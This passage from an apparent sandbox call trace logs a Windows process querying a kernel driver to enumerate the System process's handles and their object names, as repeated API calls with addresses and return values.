(ApcState=0xfffff88004f095d0) [0102.678] PsReleaseProcessExitSynchronization () returned 0x2 [0102.678] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.678] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.678] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0102.678] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.678] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.678] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.678] PsAcquireProcessExitSynchronization () returned 0x0 [0102.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.678] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0102.678] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.678] PsReleaseProcessExitSynchronization () returned 0x2 [0102.678] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.678] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.678] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0102.678] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.678] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.679] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.679] PsAcquireProcessExitSynchronization () returned 0x0 [0102.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.679] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0102.679] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.679] PsReleaseProcessExitSynchronization () returned 0x2 [0102.679] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.679] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.679] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0102.679] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.679] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.679] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.679] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.679] PsAcquireProcessExitSynchronization () returned 0x0 [0102.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.679] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0102.679] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.679] PsReleaseProcessExitSynchronization () returned 0x2 [0102.679] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.679] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.679] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0102.679] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.679] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.679] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.679] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.679] PsAcquireProcessExitSynchronization () returned 0x0 [0102.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.679] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0102.679] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.679] PsReleaseProcessExitSynchronization () returned 0x2 [0102.680] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.680] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.680] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0102.680] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.680] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.680] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0102.680] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.680] PsAcquireProcessExitSynchronization () returned 0x0 [0102.680] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.680] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0102.680] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.680] PsReleaseProcessExitSynchronization () returned 0x2 [0102.680] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.680] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.680] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0102.680] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.680] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.680] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.680] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.680] PsAcquireProcessExitSynchronization () returned 0x0 [0102.680] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.680] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0102.680] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.680] PsReleaseProcessExitSynchronization () returned 0x2 [0102.680] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.680] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.680] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0102.680] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.680] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.681] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0102.681] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.681] PsAcquireProcessExitSynchronization () returned 0x0 [0102.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.681] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0102.681] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.681] PsReleaseProcessExitSynchronization () returned 0x2 [0102.681] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.681] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.681] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0102.681] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.681] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.681] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.681] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.681] PsAcquireProcessExitSynchronization () returned 0x0 [0102.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.681] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0102.681] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.681] PsReleaseProcessExitSynchronization () returned 0x2 [0102.681] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.681] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.681] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0102.681] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.681] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.681] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.681] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.682] PsAcquireProcessExitSynchronization () returned 0x0 [0102.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.682] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0102.682] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.682] PsReleaseProcessExitSynchronization () returned 0x2 [0102.682] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.682] ObQueryNameString (in: Object=0xfffffa8002964050, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.682] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0102.682] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.682] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.682] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.682] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.682] PsAcquireProcessExitSynchronization () returned 0x0 [0102.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.682] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0102.682] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.682] PsReleaseProcessExitSynchronization () returned 0x2 [0102.682] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.682] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.682] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0102.682] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.682] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.682] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.682] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.682] PsAcquireProcessExitSynchronization () returned 0x0 [0102.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.683] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0102.683] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.683] PsReleaseProcessExitSynchronization () returned 0x2 [0102.683] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.683] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.683] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0102.683] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.683] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.683] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0102.683] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.683] PsAcquireProcessExitSynchronization () returned 0x0 [0102.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.683] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0102.683] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.683] PsReleaseProcessExitSynchronization () returned 0x2 [0102.683] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.683] ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.683] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0102.683] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.683] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.683] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0102.683] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.683] PsAcquireProcessExitSynchronization () returned 0x0 [0102.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.683] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0102.683] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.683] PsReleaseProcessExitSynchronization () returned 0x2 [0102.683] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.683] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.684] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0102.684] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.684] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.684] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0102.684] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.684] PsAcquireProcessExitSynchronization () returned 0x0 [0102.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.684] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0102.684] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.684] PsReleaseProcessExitSynchronization () returned 0x2 [0102.684] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.684] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.684] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0102.684] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.684] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.684] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0102.684] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.684] PsAcquireProcessExitSynchronization () returned 0x0 [0102.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.684] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0102.684] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.684] PsReleaseProcessExitSynchronization () returned 0x2 [0102.684] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.684] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.684] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0102.684] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.684] HeapFree (in: 